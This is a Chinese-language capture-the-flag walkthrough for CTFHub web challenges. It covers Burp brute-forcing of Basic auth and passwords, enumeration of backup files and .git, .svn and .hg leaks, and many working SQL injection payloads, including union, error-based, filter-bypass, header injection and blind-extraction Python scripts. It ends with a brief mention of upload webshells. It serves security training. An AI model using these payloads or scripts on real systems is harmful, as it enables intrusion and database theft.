# Web 前置技能
# HTTP 协议
# 请求方式
注意到题中要求使用 CTF**B Method,故在 Burp-Suite 将 GET 方式改为 CTFHUB(区分大小写)。
将 Intercept 打开后打开浏览器并填入 URL,将橙色标识中的 GET 方法改为 CTFHUB 后发送,得到如下 flag
# 302 跳转
打开 URL 如下
打开 Intercept 并进入 HTTP history 查看
发现两处 302 跳转,查看得到 flag
# Cookie
打开 URL 如下
得知要使用 admin 登陆
刷新拦截一下请求
将 admin=0 改为 admin=1 并发送,得到 flag
# 基础认证
打开 URL 点击 click
在 HTTP history 中查看 response,注意到认证提示 “Basic realm="Do u know admin ?"”
猜测登陆用户名为 admin
输入用户名密码后抓包,看到 base64 加密后的字符
在解码器中发现是账号:密码的格式,而账号为 admin
使用爆破模块 intruder
将该请求发送到 intruder,将 basic 后面的字符选中并点击右侧 Add§
进入 payloads 导入 ctfhub 给的密码本
同时添加前缀 admin:(注意中间的:)
添加 base64 编码
取消 url 编码,不然 = 会被转化为 %3d
开始爆破
筛选状态 200 并查看返回值,得到 flag
# 响应包源代码
打开 URL 发现是游戏
打开源代码发现 flag
# 信息泄露
# 目录遍历
# 法一:Burp Suite
注意到目录为 4*4 的文件夹
进入到最后一级目录,发送 URL 到 intruder 中
分别选择攻击类型:cluster bomb,选择变化的位置,设置 payload 的 sets 和 options
设置完成后开始
在结果页中发现长度明显不一致的返回,查看返回内容
从而得到 flag
# 法二:python
# _*_ coding:utf-8 _*_ | |
import requests | |
url = "http://challenge-0b7cf3fe1d9ef811.sandbox.ctfhub.com:10800/flag_in_here"#靶机 url | |
for i in range(5):#i 为 0-4 的数 | |
for j in range(5):#j 为 0-4 的数 | |
url_final = url + "/" + str(i) + "/" + str(j)#将最终的目录拼接出来 | |
r = requests.get(url_final)#获得服务器返回的 Response | |
r.encoding = "utf-8" | |
get_file=r.text#得到 text 内容 | |
if "flag" in get_file:#判断 flag 是否在返回值中 | |
print(url_final) |
运行结果如下,得到 flag 目录
# PHPINFO
打开目标 url,进入 phpinfo 界面
搜索 flag 关键词得到 flag
# 备份文件下载
# 网站源码
# 法一:Burp Suite
打开 url 发现提示给了常见的文件及后缀名
进入 bs 浏览器,随便输一个,例如:web.tar 尝试访问
在历史记录中将该次访问发送到 intruder 中
在源代码中选择攻击类型并选中 web 和 tar
payloads 中载入要变化的文件名
填写两个 set 后开始攻击,找到状态为 200 的文件,下载
得到 flag.txt
将该文件放入浏览器中尝试打开得到 flag
# 法二:dirsearch
在 dirsearch 目录中打开 powershell,执行以下命令
python .\dirsearch.py -u http://challenge-584841b234301423.sandbox.ctfhub.com:10800 -e tar,tar.gz,zip,rar -x 502,503 |
执行完成后得到备份文件
后续步骤同法一
# 法三:python
import requests | |
url="http://challenge-584841b234301423.sandbox.ctfhub.com:10800/" | |
list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp'] | |
list2=['tar', 'tar.gz', 'zip', 'rar'] | |
for i in list1: | |
for j in list2: | |
url_final=url+i+"."+j | |
r=requests.get(url_final) | |
if(r.status_code == 200): | |
print(url_final) |
# bak 文件
打开 URL 有:
使用 dirsearch 扫描文件
在 dirsearch 目录执行以下命令
python .\dirsearch.py -u http://challenge-b2eb848d1933d253.sandbox.ctfhub.com:10800 -e * -x 502,503 |
等待扫描完成发现有 index.php.bak 文件
直接下载.bak 文件打开发现 flag
# vim 缓存
# 法一:dirsearch
打开 URL 得到提示
使用 dirsearch 扫描
python .\dirsearch.py -u http://challenge-9a421211667ab5ac.sandbox.ctfhub.com:10800 -e swp -x 502,503 |
主动选择.swp 的后缀是因为 - e * 默认不包括 swp 文件
下载 index.php.swp 后放入 linux 中使用 vim 打开
先使用 mv 将 index.php.swp 改名为.index.php.swp
mv index.php.swp .index.php.swp |
再使用 vim 打开 index.php 文件
vim index.php |
按 R 选择恢复得到 flag
# 法二:直接访问
由题目可得要求得到 vim 缓存文件
故直接访问.index.php.swp (swp,swo,swn)
得到 index.php.swp 文件后同法一
# 法三:curl(未成功)
可以直接使用 curl 命令查看
curl http://challenge-9a421211667ab5ac.sandbox.ctfhub.com:10800/.index.php.swp |
但出现问题:
# .DS_Store
# 法一:dirsearch+linux 查看
dirsearch 开扫
得到.DS_Store 文件,丢到浏览器下载后在 linux 内打开
在看到.txt 文件,丢到浏览器中打开得到 flag
# 法二:dirsearch+python dsstore 查看
同法一,得到 DS_Store
将得到的文件用 dsstore 打开
得到.txt 文件
# Git 泄露
# Log
dirsearch 开扫
看到有.git 文件夹,用 githack 下下来(仅支持 python2)
python2 Githack.py http://challenge-b4001d8a6ccbd18d.sandbox.ctfhub.com:10800/.git |
去到.git 同级目录,输入
git log |
查看之前对仓库的操作,发现第二次添加了 flag,考虑恢复
git reset --hard HEAD^ |
或者
git diff HEAD^ |
得到历史文件
查看.txt 文件得到 flag
# Stash
# 法一:git differ
dirsearch 开扫
发现.git,用 hackgit 抓下来,得到.git 文件夹
进入.git/refs,查看 stash 文件
在 gtihash 中对比一下,得到 flag
# 法二:git stash pop
得到.git 文件夹后,直接查看 stash
执行 git stash pop
发现弹出文件
查看该文件得到 flag
# Index
dirsearch 开扫
看到有.git 文件,用 githack 抓出来
python2 .\GitHack.py http://challenge-241983fae914b573.sandbox.ctfhub.com:10800/.git` |
进入目录直接看到.txt 文件,打开得到 flag
# SVN 泄露
dirsearch 扫出来有.svn 目录,用 dvcs-ripper 找一下 svn
进入.svn 目录(隐藏文件夹,要用 ls -a 查看),在 pristine 目录中有两个文件夹,找到旧版的(08)
cat 查看文件得到 flag
# HG 泄露
dirsearch 开扫发现有.hg 残留,在 kali 中用 dvcs-ripper 找一下
发现部分 404,但是在 store-fncache 中仍有文件显示
拼接 url+flag 得到 flag
# 密码口令
# 弱口令
burp 里抓包登陆请求,发送到爆破模组里
选上下面的用户密码,用集束炸弹方式攻击
payload1,2 分别使用简单的弱口令
选中长度排序,得到爆破成功的的对应密码,查看 response 得到 flag
# 默认口令
打开是网关登陆界面,还有验证码,那就没法用 intruder 爆破密码了
随便试一个账号密码,显示用户不存在
查看源代码发现是 “亿邮邮件网关”,结合 title 的 “默认口令”,试一下是否是出厂的默认设置
直接搜该网关的管理用户
丢进去登陆得到 flag
# SQL 注入
# 整数型注入
敲 1 and 1=1
不报错, 1 and 1=2
报错,说明整数注入,直接猜列数
1 order by x |
x 为数字
当 x=3 时报错,说明只有两列
联合查询,让查询的 id=-1,使得前面 select * from news where id=1
错误,回显后面的 union 字段
查到当前数据库名为 sqli
继续爆表名
-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' |
得到 sqli 的库中两个表为 flag 和 news
查 flag 表
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' |
拿 flag
-1 union select 1,flag from sqli.flag |
# 字符型注入
输入 1'
报错而 1"
不报错,说明本次用的是 '
分割
1' order by x # |
查列数
x=3 报错
联合查询
-1' union select 1,database() # |
爆出库名,继续爆
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' # |
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' # |
-1' union select 1,flag from sqli.flag # |
# 报错注入
先 order by 找一下列数
报错注入可以用 updatexml(1,2,3)
函数,当第二个参数含特殊符号时报错,同时将第二个参数的内容显示在报错信息里
特殊符号用 0x7e -> ~
1 and updatexml(1,concat(0x7e,database()),3) |
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli')),3) |
得到 sqli 库中两个表:flag,news
1 and updatexml(1,concat(0x7e,(select * from sqli.flag)),3) |
此时仅显示了前一部分的 flag,原因是 updatexml 函数最多只能显示 32 位字符的长度,
1 and updatexml(1,concat(0x7e,mid((select * from sqli.flag),20,32)),3) |
查到了第 20-32 位的 flag
拼起来就得到了完整 flag
# 布尔盲注
关键点是 if 判断:
if (expr1,expr2,expr3),如果 expr1 的值为 true,则执行 expr2 语句,如果 expr1 的值为 false,则执行 expr3 语句。 |
利用 substr 函数,截取字符串(库名、表名、数据)并放入 expr1 中进行判断,从而得出正确值
if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables)) |
显然,数据库的第一个字符为 s
有 python 脚本遍历
import requests | |
urlOPEN = input('输入url:\n') | |
mark = 'query_success' | |
database_name = '' | |
table_list = [] | |
column_list = [] | |
flag='' | |
def get_database_name():#查库名 | |
for j in range(1,9):#数据库名限制为 64 字符,但一般小于 9,为了效率 | |
for i in 'abcdefghijklnmopqrstuvwxyz':#linux 下 mysql 应该是对大小写敏感的,而 windows 则不 | |
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i) | |
r = requests.get(url) | |
if mark in r.text: | |
database_name = database_name+i | |
print(database_name) | |
break | |
print('database_name:',database_name) | |
get_database_name() | |
def get_table_name():#查表名 | |
for k in range(0,4):#看前四个表 | |
name='' | |
for j in range(1,9):#一般来说表的最大长度有 64 | |
for i in 'abcdefghijklnmopqrstuvwxyz': | |
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i) | |
r = requests.get(url) | |
if mark in r.text: | |
name = name+i | |
break | |
table_list.append(name) | |
print('table_name:',table_list) | |
get_table_name() | |
def get_column_name():#查列 | |
for k in range(0,3): #判断列里最多有 4 个字段 | |
name='' | |
for j in range(1,9): #判断一个字段名最多有 9 个字符组成 | |
for i in 'abcdefghijklnmopqrstuvwxyz': | |
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i) | |
r=requests.get(url) | |
if mark in r.text: | |
name=name+i | |
break | |
column_list.append(name) | |
print ('column_name:',column_list) | |
get_column_name() | |
def get_data(): | |
for j in range(1,50): #判断一个值最多有 51 个字符组成 | |
for i in range(48,126):#ascii48-126 对应的数字 + 英文 +{,},| | |
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i) | |
r=requests.get(url) | |
if mark in r.text: | |
flag=flag+chr(i) | |
print(flag) | |
break | |
print ('flag:',flag) | |
get_data() |
# 时间盲注
方法和布尔盲注类似,利用 if 判断,但需要引入 sleep () 函数,从是否执行 sleep () 函数来判断 if 条件是否成立
例
if(length(database())>=2,sleep(1),1) |
如果数据库名字大于等于二,则返回时间应该大于 1
脚本与布尔盲注的脚本类似,只不过需要引入 time 库
由于网络环境的波动,一般要跑三次
import requests | |
import time | |
urlOPEN = input('输入url:\n') | |
mark = 'query_success' | |
database_name = '' | |
table_list = [] | |
column_list = [] | |
flag = '' | |
def get_database_name():#查库名 | |
global database_name | |
for j in range(1,9):#数据库名限制为 64 字符,但一般小于 9,为了效率 | |
for i in 'abcdefghijklnmopqrstuvwxyz':#linux 下 mysql 应该是对大小写敏感的,而 windows 则不 | |
url = urlOPEN+'if(substr(database(),%d,1)="%s",sleep(1),1)' %(j,i) | |
start_time = time.time() | |
r = requests.get(url) | |
end_time = time.time() | |
t = end_time - start_time | |
if (t > 1): | |
database_name = database_name+i | |
print(database_name) | |
break | |
print('database_name:',database_name) | |
get_database_name() | |
def get_table_name():#查表名 | |
global table_list | |
for k in range(0,4):#看前四个表 | |
name='' | |
for j in range(1,9):#一般来说表的最大长度有 64 | |
for i in 'abcdefghijklnmopqrstuvwxyz': | |
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i) | |
start_time = time.time() | |
r = requests.get(url) | |
end_time = time.time() | |
t = end_time - start_time | |
if (t > 1): | |
name = name+i | |
break | |
table_list.append(name) | |
print('table_name:',table_list) | |
get_table_name() | |
def get_column_name():#查列 | |
global column_list | |
for k in range(0,3): #判断列里最多有 4 个字段 | |
name='' | |
for j in range(1,9): #判断一个字段名最多有 9 个字符组成 | |
for i in 'abcdefghijklnmopqrstuvwxyz': | |
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i) | |
start_time = time.time() | |
r = requests.get(url) | |
end_time = time.time() | |
t = end_time - start_time | |
if (t > 1): | |
name=name+i | |
break | |
column_list.append(name) | |
print ('column_name:',column_list) | |
get_column_name() | |
def get_data(): | |
global flag | |
for j in range(1,50): #判断一个值最多有 51 个字符组成 | |
for i in range(48,126):#ascii48-126 对应的数字 + 英文 +{,},| | |
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,sleep(1),1)' %(j,i) | |
start_time = time.time() | |
r = requests.get(url) | |
end_time = time.time() | |
t = end_time - start_time | |
if (t > 1): | |
flag=flag+chr(i) | |
print(flag) | |
break | |
print ('flag:',flag) | |
get_data() |
还是用 sqlmap 吧,够没脑子的
# MySQL 结构
本质就是整数型注入
用 1 and 1=1
判断出,然后 union select 联合注入即可
select * from news where id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' |
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='fddqhlosgo' |
-1 union select 1,umremmalnq from sqli.fddqhlosgo |
# Cookie 注入
提示是 cookie 注入,随便发点 cookie 过去
那就发 cookie id 过去
显然是普通的数字注入,order by 尝试之后有两列
那就用一般的联合注入 union select
构造 id=-1 union select 1,code 查找
已经成功注入了,看得出来数据库是 sqli
爆库
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata |
爆表
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() |
爆字段
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'gpdznzrugt' |
爆值
id=-1 union select 1,rgbrnkhfep from sqli.gpdznzrugt |
# UA 注入
用 hackbar 重新发一遍请求
User-Agent=-1 union select database(),1# |
User-Agent=-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='sqli'# |
User-Agent=-1 union select group_concat(column_name),1 from information_schema.columns where table_name='nnzwsnydwo'# |
User-Agent=-1 union select pekzosqxfm,1 from sqli.nnzwsnydwo# |
# Refer 注入
同 UA
Referer=-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='sqli'# |
Referer=-1 union select group_concat(column_name),1 from information_schema.columns where table_name='uakovlxjab'# |
Referer=-1 union select hkjndazhbu,1 from sqli.uakovlxjab# |
# 过滤空格
常见的有 /**/,(),%0a
经尝试可以用 /**/ 绕过
-1/**/union/**/select/**/database(),1# |
-1/**/union/**/select/**/group_concat(table_name),1/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'# |
-1/**/union/**/select/**/group_concat(column_name),1/**/from/**/information_schema.columns/**/where/**/table_name='vihvhlsoyv'# |
-1/**/union/**/select/**/kfqwbuiugf,1/**/from/**/sqli.vihvhlsoyv# |
# 文件上传
# 无验证
一句话木马
# 前端验证
禁用 js 之后一句话🐴